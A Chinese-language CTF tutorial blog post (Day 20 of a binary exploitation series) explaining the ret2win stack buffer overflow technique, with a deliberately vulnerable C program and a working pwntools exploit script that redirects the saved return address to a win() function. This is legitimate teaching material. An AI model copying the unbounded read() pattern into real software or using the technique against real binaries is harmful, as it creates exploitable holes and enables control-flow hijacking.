iT邦幫忙

2026 iThome 鐵人賽

DAY 20
0

前幾天,我們已經把 Stack Buffer Overflow 的基本流程串起來了:

Buffer Overflow
      ↓
找到 Offset
      ↓
控制 Saved RIP
      ↓
用 pwntools 自動化

現在我們知道 Saved RIP 可以被覆蓋,但之前只是把它改成:

0x4242424242424242

程式會直接 Segmentation fault,因為那不是可執行的位址。

今天要做的事情更進一步:把 Return Address 改成程式中另一個 function 的位址,讓程式回傳時跳進我們指定的位置。這種利用方式叫做 ret2win。

0x00 ret2win 是什麼?

假設程式裡有一個 function:

void win()
{
    puts("You win!");
}

但正常流程完全不會呼叫它:

main
 ↓
vuln
 ↓
return
 ↓
main

如果 vuln() 有 Buffer Overflow,而我們又能控制 Return Address,就能把它改成 win() 的位址:

main
 ↓
vuln
 ↓
Buffer Overflow
 ↓
Saved RIP = win
 ↓
win()

也就是讓 ret 回到 win(),因此得名:ret2win

0x01 準備題目

先建立一個簡單的程式:

#include <stdio.h>
#include <unistd.h>

void win()
{
    puts("You win!");
    puts("FLAG{ret2win_is_easy}");
}

void vuln()
{
    char buf[32];

    puts("Input:");

    read(0, buf, 200);
}

int main()
{
    vuln();

    return 0;
}

編譯時先關掉 Stack Canary 和 PIE:

gcc chall.c -o chall -fno-stack-protector -no-pie

這篇的重點是理解最基本的 Control Flow Hijacking,所以暫時不處理保護機制。

執行 ./chall 後只會看到:

Input:

不管輸入什麼,程式正常情況下都不會執行 win()。我們的目標就是改變這件事。

0x02 找出 win() 的位址

既然要跳到 win(),先找出它的位址:

nm chall | grep win

輸出可能是:

0000000000401156 T win

也就是:

win = 0x401156

也可以用 objdump -d chall,或在 GDB 中執行:

p win

不過寫 exploit 時,通常會直接交給 pwntools:

elf = ELF("./chall")
win = elf.symbols["win"]

這樣不必手動把位址複製進 script。

0x03 Payload 長什麼樣子?

vuln() 裡有一個 32 Bytes 的 buffer:

char buf[32];

Stack 大致如下:

Higher Address

+------------------+
| Saved RIP        |
+------------------+
| Saved RBP        |
+------------------+
| buf[32]          |
+------------------+

Lower Address

前一天已經用 cyclic pattern 找過 offset。假設這題的 offset 是 40:

32 Bytes buf
+
8 Bytes Saved RBP
=
40 Bytes

Payload 結構便是:

[ Padding 40 Bytes ][ win() Address ]

當 vuln() 結束時,最後會執行:

leave
ret

其中 ret 的工作可以簡化成:

從 Stack 取出 Return Address
          ↓
放進 RIP
          ↓
從該位址繼續執行

正常情況下,Saved RIP 指向 main() 的下一段程式;Overflow 後,它則會變成我們放進去的 win() 位址。

CPU 不會在意這個位址是誰寫的。只要 ret 從 Stack 取到它,就會跳過去執行。

0x04 用 pwntools 寫 exploit

建立 solve.py:

from pwn import *

context.binary = elf = ELF("./chall")

p = process("./chall")

offset = 40

payload = flat(
    b"A" * offset,
    elf.symbols["win"]
)

p.sendlineafter(b"Input:", payload)

p.interactive()

執行:

python3 solve.py

成功的話,會看到:

You win!
FLAG{ret2win_is_easy}

這就是第一個真正改變程式控制流程的 Stack Exploit。

0x05 為什麼要用 p64() 或 flat()?

假設 win() 的位址是:

0x401156

不能直接把它當成文字送出去:

payload += b"0x401156"

那會是 ASCII 字串,不是 CPU 要讀取的記憶體位址。

x86-64 使用 Little Endian,位址 0x401156 放進記憶體時概念上會變成:

56 11 40 00 00 00 00 00

因此可以使用:

payload += p64(elf.symbols["win"])

或是像前面的範例交給 flat():

payload = flat(
    b"A" * offset,
    elf.symbols["win"]
)

兩種寫法的目標都一樣:把 function address 轉成正確的 bytes,覆蓋 Saved RIP。

0x06 從 Crash 到 Exploit

回頭看這幾天的過程,其實就是把「程式會壞掉」一步步變成「程式會照我們的方式執行」。

Memory Corruption
      ↓
Crash
      ↓
Controlled Crash
      ↓
RIP Control
      ↓
Control Flow Hijacking
      ↓
ret2win

一開始發現 read() 可以讀超過 buffer 的資料,只代表程式有漏洞。接著用 cyclic 找出 offset、確認 Saved RIP 能控制,最後把原本用來測試的 BBBBBBBB 換成 win() 的位址,才真正完成利用。

0x07 ret2xxx 的意思

之後在 Pwn 題目裡,會一直看到類似名稱:

ret2win
ret2libc
ret2plt
ret2csu

可以先把它理解成:

控制 Return Address
        ↓
Return 到某個地方

例如:

ret2win:Return → win()
ret2libc:Return → libc

後面的技巧看起來會複雜很多,但核心仍然是今天這件事:控制 Saved RIP,改變下一段 Control Flow。

0x08 小結

今天完成了第一個 Stack Exploit:

找到 Buffer Overflow
        ↓
cyclic 找 Offset
        ↓
確認 Saved RIP 可控
        ↓
找到 win() Address
        ↓
Padding + win Address
        ↓
ret
        ↓
RIP = win

Exploit 的核心其實只有:

payload = flat(
    b"A" * offset,
    elf.symbols["win"]
)

也就是:

Padding + Target Address

今天的題目特地關掉了保護機制,還準備了一個 win() 等我們跳進去。真實 binary 通常不會這麼友善,還可能有 NX、ASLR、PIE、Stack Canary 和 RELRO。

不過 ret2win 已經把最重要的概念講清楚了:只要能控制 RIP,就有機會控制程式接下來怎麼執行。

下一篇來看另一種思路:如果程式裡沒有 win(),能不能讓 CPU 執行我們自己準備的 Machine Code?這就是 Shellcode。


上一篇
Day19|Pwntools
下一篇
Day21|Shellcode
系列文
從零開始の Binary CTF:30 天系統化學習 Rev & Pwn 共 24 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言